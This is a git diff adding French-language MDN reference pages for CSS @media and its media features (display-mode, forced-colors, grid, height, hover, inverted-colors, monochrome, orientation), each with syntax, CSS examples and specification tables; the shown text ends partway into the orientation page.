+<p>Cette caractéristique correspond à la propriété <a href="/fr/docs/Web/Manifest#display"><code>display</code> </a>du manifeste de l'application web. Les deux s'appliquent au contexte de navigation de plus haut niveau ainsi qu'aux contextes fils. Cette requête s'appliquera dans tous les cas (qu'un manifeste d'application soit présent ou non).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>display-mode</code> est définie avec un mot-clé parmi ceux du tableau ci-après.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valeur (mode d'affichage)</th>
+   <th scope="col">Description</th>
+   <th scope="col">Mode d'affichage utilisé en recours</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fullscreen</code></td>
+   <td>Toute la zone d'affichage est utilisée et aucun autre élément d'interface utilisateur (<em>chrome</em>) n'est affiché.</td>
+   <td><code>standalone</code></td>
+  </tr>
+  <tr>
+   <td><code>standalone</code></td>
+   <td>L'application se comportera comme une application indépendante avec une fenêtre différente, une icône distincte dans les barres d'application. Dans ce mode, l'agent utilisateur supprimera les éléments d'interface utilisateur liés au contrôle de la navigation mais pourra conserver les autres éléments tels que la barre d'état.</td>
+   <td><code>minimal-ui</code></td>
+  </tr>
+  <tr>
+   <td><code>minimal-ui</code></td>
+   <td>L'application se comportera comme une application indépendante mais son interface utilisateur sera restreinte aux contrôles de navigation. Les éléments affichés peuvent varier selon les navigateurs.</td>
+   <td><code>browser</code></td>
+  </tr>
+  <tr>
+   <td><code>browser</code></td>
+   <td>L'application ouvre un nouvel onglet dans le navigateur ou une nouvelle fenêtre selon le navigateur et la plateforme utilisés.</td>
+   <td>Aucun</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@media all and (display-mode: fullscreen) {
+  body {
+    margin: 0;
+    border: 5px solid black;
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Manifest', '#the-display-mode-media-feature', 'display-mode')}}</td>
+   <td>{{Spec2('Manifest')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.display-mode")}}</p>
diff --git a/files/fr/web/css/@media/forced-colors/index.html b/files/fr/web/css/@media/forced-colors/index.html
new file mode 100644
index 0000000000..d0cb254e89
--- /dev/null
+++ b/files/fr/web/css/@media/forced-colors/index.html
@@ -0,0 +1,86 @@
+---
+title: forced-colors
+slug: Web/CSS/@media/forced-colors
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/forced-colors
+---
+<div>{{CSSRef}}{{SeeCompatTable}}{{draft}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Caractéristiques_média_(media_features)">caractéristique média</a> <strong><code>forced-colors</code></strong> est utilisée afin de détecter si l'utilisateur a choisi une palette de couleur restreinte via le navigateur ou l'agent utilisateur.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette fonctionnalité n'est pas encore implémentée par aucun agent utilisateur</p>
+</div>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<dl>
+ <dt><code><dfn>none</dfn></code></dt>
+ <dd>La palette de couleur n'est pas restreinte.</dd>
+ <dt><code>active</code></dt>
+ <dd>La palette de couleur est restreinte et c'est l'agent utilisateur qui fournira la palette utilisable via un système de mots-clés de couleurs CSS systèmes. La valeur de <code>prefers-color-scheme</code> sera également mise à jour afin que les auteurs puissent adapter la page.</dd>
+</dl>
+
+<h2 id="Préférences_utilisateur">Préférences utilisateur</h2>
+
+<p>À l'heure actuelle, aucun agent utilisateur n'implémente cette fonctionnalité bien que de nombreux systèmes d'exploitation prennent en charge ce type de paramètre.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, les couleurs utilisées par défaut sont exotiques voire illisibles. On tire ici parti d'une requête média pour utiliser une palette restreinte de l'agent utilisateur.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre>&lt;div class="colors"&gt;quelques couleurs étranges&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre>.colors {
+  background-color: red;
+  color: grey;
+}
+
+@media (forced-colors: active) {
+  .colors {
+    background-color: white;
+    color: black;
+  }
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#forced-colors', 'forced-colors')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.sort")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{QuickLinksWithSubpages("/fr/docs/Web/CSS/@media/")}}</p>
diff --git a/files/fr/web/css/@media/grid/index.html b/files/fr/web/css/@media/grid/index.html
new file mode 100644
index 0000000000..331ef98683
--- /dev/null
+++ b/files/fr/web/css/@media/grid/index.html
@@ -0,0 +1,83 @@
+---
+title: grid
+slug: Web/CSS/@media/grid
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/grid
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>grid</code></strong> est une caractéristique média CSS (cf {{cssxref("@media")}}) dont la valeur est un booléen qui indique si l'appareil d'affichage fonctionne grâce à une grille (ex. un terminal ou un appareil qui ne dispose que d'une police à chasse fixe) ou grâce à une matrice d'affichage (avec des pixels « classiques »).</p>
+
+<p>La plupart des ordinateurs actuels possèdent des écrans matriciels. Parmi les appareils qui utilisent un affichage en grille, on trouve les appareils qui n'affichent que du texte dans un terminal ou des téléphones simples avec une seule police fixe.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>grid</code> est une valeur booléenne (<code>0</code> ou <code>1</code>) (type {{cssxref("&lt;mq-boolean&gt;")}}) qui indique si l'appareil d'affichage fonctionne selon une grille.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="unknown"&gt;Impossible de savoir si l'affichage fonctionne sur une grille. :-(&lt;/p&gt;
+&lt;p class="bitmap"&gt;L'appareil dispose d'un affichage matriciel.&lt;/p&gt;
+&lt;p class="grid"&gt;L'appareil utilise une grille pour l'affichage !&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:not(.unknown) {
+  color: lightgray;
+}
+
+@media (grid: 0) {
+  .unknown {
+    color: lightgray;
+  }
+
+  .bitmap {
+    color: red;
+    text-transform: uppercase;
+  }
+}
+
+@media (grid: 1) {
+  .unknown {
+    color: lightgray;
+  }
+
+  .grid {
+    color: black;
+    text-transform: uppercase;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#grid', 'grid')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.grid")}}</p>
diff --git a/files/fr/web/css/@media/height/index.html b/files/fr/web/css/@media/height/index.html
new file mode 100644
index 0000000000..4e4ac12d6f
--- /dev/null
+++ b/files/fr/web/css/@media/height/index.html
@@ -0,0 +1,83 @@
+---
+title: height
+slug: Web/CSS/@media/height
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>height</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) dont la valeur représente la hauteur de la zone d'affichage (<em>viewport</em>) (ou de la boîte de page pour les média paginés).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>height</code> est définie comme une longueur (type {{cssxref("&lt;length&gt;")}}) et représente la hauteur de la zone d'affichage. C'est une caractéristique d'intervalle et on peut donc utiliser les variantes préfixées <strong><code>min-height</code></strong> et <strong><code>max-height</code></strong> afin de cibler des règles selon un minimum ou un maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  Surveillez cet élément lors du
+  redimensionnement de la zone d'affichage.
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Hauteur exacte */
+@media (height: 360px) {
+  div {
+    color: red;
+  }
+}
+
+/* Hauteur minimale */
+@media (min-height: 25rem) {
+  div {
+    background: yellow;
+  }
+}
+
+/* Hauteur maximale */
+@media (max-height: 40rem) {
+  div {
+    border: 2px solid blue;
+  }
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','90%')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>La valeur peut désormais être négative (ce qui correspond à un booléen faux).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale. La valeur ne doit pas être négative.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.height")}}</p>
diff --git a/files/fr/web/css/@media/hover/index.html b/files/fr/web/css/@media/hover/index.html
new file mode 100644
index 0000000000..d0b19376b2
--- /dev/null
+++ b/files/fr/web/css/@media/hover/index.html
@@ -0,0 +1,72 @@
+---
+title: hover
+slug: Web/CSS/@media/hover
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/hover
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>hover</strong></code> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui permet de vérifier si le dispositif de saisie/d'entrée principal permet à l'utilisateur de survoler les éléments.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>hover</code> est définie avec un mot-clé parmi ceux de la liste suivant :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le mécanisme de saisie principal ne permet pas de survoler les éléments (ou ne le permet pas de façon simple ; par exemple sur les appareils mobiles qui émulent le survol avec un appui long) ou il n'existe pas de dispositif de pointage principal.</dd>
+ <dt><code>hover</code></dt>
+ <dd>Le mécanisme de saisie principal permet de survoler les éléments simplement.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;Essayez de me survoler !&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media (hover: hover) {
+  a:hover {
+    background: yellow;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#hover', 'hover')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.hover")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/@media/any-hover">La caractéristique média <code>any-hover</code></a></li>
+</ul>
diff --git a/files/fr/web/css/@media/index.html b/files/fr/web/css/@media/index.html
new file mode 100644
index 0000000000..aced40e2b4
--- /dev/null
+++ b/files/fr/web/css/@media/index.html
@@ -0,0 +1,155 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@media
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">règle @</a> <strong><code>@media</code></strong> permet d'associer un ensemble d'instructions imbriquées (délimité par des accolades) avec une condition définie par une <a href="/fr/docs/Web/CSS/Media_queries">requête média</a>. La règle <code>@media</code> peut être utilisé au niveau le plus haut de la feuille de style et également <a href="/fr/docs/Web/CSS/Règles_@#Les_règles_de_groupe_conditionnelles">à l'intérieur d'un groupe de règles conditionnel</a>.</p>
+
+<pre class="brush: css no-line-numbers">@media (max-width: 600px) {
+  .sidebar {
+    display: none;
+  }
+}</pre>
+
+<p>Il est possible de manipuler la règle @ <code>@media</code> via le CSSOM (et JavaScript) notamment grâce à l'interface {{domxref("CSSMediaRule")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une requête média (type <code>&lt;media-query&gt;</code>) est composée d'un type de média (optionnel) et/ou de différentes caractéristiques relatives au média. Une requête média peut être imbriquée dans une autre <a href="/fr/docs/Web/CSS/Règles_@#Les_règles_de_groupe_conditionnelles">règle conditionnelle</a>.</p>
+
+<pre class="brush: css no-line-numbers">/* Au niveau le plus haut du code */
+@media screen and (min-width: 900px) {
+  article {
+    padding: 1rem 3rem;
+  }
+}
+
+/* Imbriquée dans une autre règle-@ conditionnelle */
+@supports (display: flex) {
+  @media screen and (min-width: 900px) {
+    article {
+      display: flex;
+    }
+  }
+}
+</pre>
+
+<p>Pour plus d'informations sur la syntaxe des requêtes média, voir <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">Utiliser les requêtes média</a>.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Les_caractéristiques_média">Les caractéristiques média</h2>
+
+<p>{{page("/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries","Caractéristiques_média_(media_features)")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@media print {
+  body { font-size: 10pt }
+}
+@media screen {
+  body { font-size: 13px }
+}
+@media screen, print {
+  body { line-height: 1.2 }
+}
+
+@media only screen
+  and (min-width: 320px)
+  and (max-width: 480px)
+  and (-webkit-min-device-pixel-ratio: 2) {
+    body { line-height: 1.4 }
+}
+</pre>
+
+<p>Avec la mise à jour de la spécification pour les requêtes média, une nouvelle syntaxe, plus concise, peut être utilisée pour les tests d'intervalle :</p>
+
+<pre class="brush: css">@media (height &gt; 600px) {
+  body { line-height: 1.4; }
+}
+
+@media (400px &lt;= width &lt;= 700px) {
+  body { line-height: 1.4; }
+}
+</pre>
+
+<p>Pour plus d'exemples, voir <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">Utiliser les requêtes média</a>.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Pour une meilleure interaction, notamment avec les personnes qui zooment sur une page pour accroître la taille du texte ou qui définissent une taille de police par défaut pour l'ensemble du navigateur, on utilisera l'unité <code><a href="/fr/docs/Web/CSS/length#em">em</a></code> comme valeur pour <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">les requêtes média</a> lorsqu'il faut utiliser une longueur ({{cssxref("&lt;length&gt;")}}).</p>
+
+<p>Les unités <code><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Longueur_et_taille">em</a></code> et <code><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Longueur_et_taille">px</a></code> sont toutes les deux valides mais <code><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Longueur_et_taille">em</a></code> s'adapte mieux quand la taille de la police du navigateur a été ajustée.</p>
+
+<p>On privilégiera, autant que possible, les requêtes média de la spécification de niveau 4 afin d'améliorer l'ergonomie. On pourra, par exemple, se baser sur <a href="/fr/docs/Web/CSS/@media/prefers-reduced-motion"><code>prefers-reduced-motion</code> afin de détecter si l'utilisateur souhaite minimiser les animations ou les déplacements</a>.</p>
+
+<h2 id="Sécurité">Sécurité</h2>
+
+<p>Les requêtes média fournissent des informations quant aux capacités de l'appareil avec lequel on navigue. L'ensemble de ces capacités peut être détourné afin de construire une empreinte qui identifie l'appareil ou le catégorise de façon indésirée.</p>
+
+<p>Pour ces raisons, un navigateur peut choisir de mentir sur les valeurs renvoyées afin de contourner ce pistage. Ainsi, si la détection d'empreinte numérique est désactivée dans Firefox, la plupart des caractéristiques média renverront leurs valeurs par défaut afin d'éviter leur utilisation pour du pistage.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Commentaires</th>
+   <th scope="col">Retours</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}</td>
+   <td>Réintègre <code>light-level</code>, <code>inverted-colors</code> et les requêtes média personnalisées qui avaient été retirées la spécification de niveau 4.<br>
+    Ajout des caractéristiques média <code>prefers-reduced-motion</code>, <code>prefers-reduced-transparency</code>, <code>prefers-contrast</code> et <code>prefers-color-scheme</code>.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues"><em>Issues</em> GitHub pour les brouillons du groupe de travail CSS (en anglais)</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
+   <td>Définition de la syntaxe de base pour la règle <code>@media</code>.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues"><em>Issues</em> GitHub pour les brouillons du groupe de travail CSS (en anglais)</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
+   <td>
+    <p>Ajout des caractéristiques média <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>update</code>, <code>overflow-block</code> et <code>overflow-inline</code>.<br>
+     Dépréciation de l'ensemble des types de média à l'exception de <code>screen</code>, <code>print</code>, <code>speech</code> et <code>all</code>.<br>
+     La syntaxe est rendue plus flexible avec l'ajout (entre autres) du mot-clé <code>or</code>.</p>
+   </td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues"><em>Issues</em> GitHub pour les brouillons du groupe de travail CSS (en anglais)</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
+   <td>Définition initiale.</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.media")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Media_queries">Les requêtes média</a></li>
+ <li>L'interface CSSOM {{domxref("CSSMediaRule")}} qui est associée avec cette règle @.</li>
+</ul>
diff --git a/files/fr/web/css/@media/index/index.html b/files/fr/web/css/@media/index/index.html
new file mode 100644
index 0000000000..e227a1aecb
--- /dev/null
+++ b/files/fr/web/css/@media/index/index.html
@@ -0,0 +1,12 @@
+---
+title: Index
+slug: Web/CSS/@media/Index
+tags:
+  - '@media'
+  - CSS
+  - Index
+translation_of: Web/CSS/@media/Index
+---
+<p>{{CSSRef}}</p>
+
+<p>{{Index("/fr/docs/Web/CSS/@media")}}</p>
diff --git a/files/fr/web/css/@media/inverted-colors/index.html b/files/fr/web/css/@media/inverted-colors/index.html
new file mode 100644
index 0000000000..6129831784
--- /dev/null
+++ b/files/fr/web/css/@media/inverted-colors/index.html
@@ -0,0 +1,92 @@
+---
+title: inverted-colors
+slug: Web/CSS/@media/inverted-colors
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/inverted-colors
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>inverted-colors</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui indique si l'agent utilisateur ou si le système d'exploitation sous-jacent inverse les couleurs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette caractéristique est définie avec un des mots-clés parmi ceux qui suivent :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Les couleurs sont affichées normalement.</dd>
+ <dt><code>inverted</code></dt>
+ <dd>Les couleurs des pixels de la zone affichée ont été inversées.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Si vous utilisez les couleurs inversées, ce texte devrait
+  être bleu sur blanc (l'inverse de jaune sur noir). Sinon,
+  il devrait être rouge sur gris clair.
+&lt;/p&gt;
+&lt;p&gt;
+  Si le texte est gris, cela indique que votre navigateur
+  ne prend pas en charge la caractéristique média
+  `inverted-colors`.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  color: gray;
+}
+
+@media (inverted-colors: inverted) {
+  p {
+    background: black;
+    color: yellow;
+  }
+}
+
+@media (inverted-colors: none) {
+  p {
+    background: #eee;
+    color: red;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#inverted', 'inverted-colors')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#inverted', 'inverted-colors')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Repoussée à la spécification de niveau 5 pour les requêtes média.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.inverted-colors")}}</p>
diff --git a/files/fr/web/css/@media/monochrome/index.html b/files/fr/web/css/@media/monochrome/index.html
new file mode 100644
index 0000000000..0bb4799080
--- /dev/null
+++ b/files/fr/web/css/@media/monochrome/index.html
@@ -0,0 +1,85 @@
+---
+title: monochrome
+slug: Web/CSS/@media/monochrome
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/monochrome
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>monochrome</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui peut être utilisée afin d'appliquer des styles en fonction du nombre de bits par pixel utilisés pour le tampon d'affichage monochrome de l'appareil.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>monochrome</code> est un entier (type {{cssxref("&lt;integer&gt;")}})) dont la valeur correspond au nombre de bits par pixel utilisés pour le tampon d'affichage monochrome de l'appareil. Si l'appareil n'est pas monochrome, cela vaudra 0. Cette caractéristique est une caractéristique d'intervalle ce qui signifie qu'on peut également utiliser les variantes préfixées <strong><code>min-monochrome</code></strong> et <strong><code>max-monochrome</code></strong> afin de cibler les règles en fonction d'un minimum ou d'un maximum.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="mono"&gt;
+  Votre appareil prend en charge les
+  pixels monochrome !
+&lt;/p&gt;
+&lt;p class="no-mono"&gt;
+  Votre appareil ne prend pas en charge
+  les pixels monochromes.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  display: none;
+}
+
+/* Any monochrome device */
+@media (monochrome) {
+  p.mono {
+    display: block;
+    color: #333;
+  }
+}
+
+/* Any non-monochrome device */
+@media (monochrome: 0) {
+  p.no-mono {
+    display: block;
+    color: #ee3636;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#monochrome', 'monochrome')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>La valeur peut désormais être négative, auquel cas cela correspond à un booléen faux.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#monochrome', 'monochrome')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale. La valeur ne doit pas être négative.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.monochrome")}}</p>
diff --git a/files/fr/web/css/@media/orientation/index.html b/files/fr/web/css/@media/orientation/index.html
new file mode 100644
index 0000000000..2eab162ff7
--- /dev/null
+++ b/files/fr/web/css/@media/orientation/index.html
@@ -0,0 +1,88 @@
+---
+title: orientation
+slug: Web/CSS/@media/orientation
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/orientation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>orientation</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui peut être utilisée pour vérifier l'orientation de la zone d'affichage (<em>viewport</em>) (ou la boîte de la page pour les média paginés).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>orientation</code> se définit grâce à l'un des mots-clés suivants :</p>
+
+<dl>
+ <dt><code>portrait</code></dt>
+ <dd>La zone d'affichage est en mode portrait (la hauteur est la plus grande dimension).</dd>
+ <dt><code>landscape</code></dt>
+ <dd>La zone d'affichage est en mode paysage (la largeur est la plus grande dimension).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
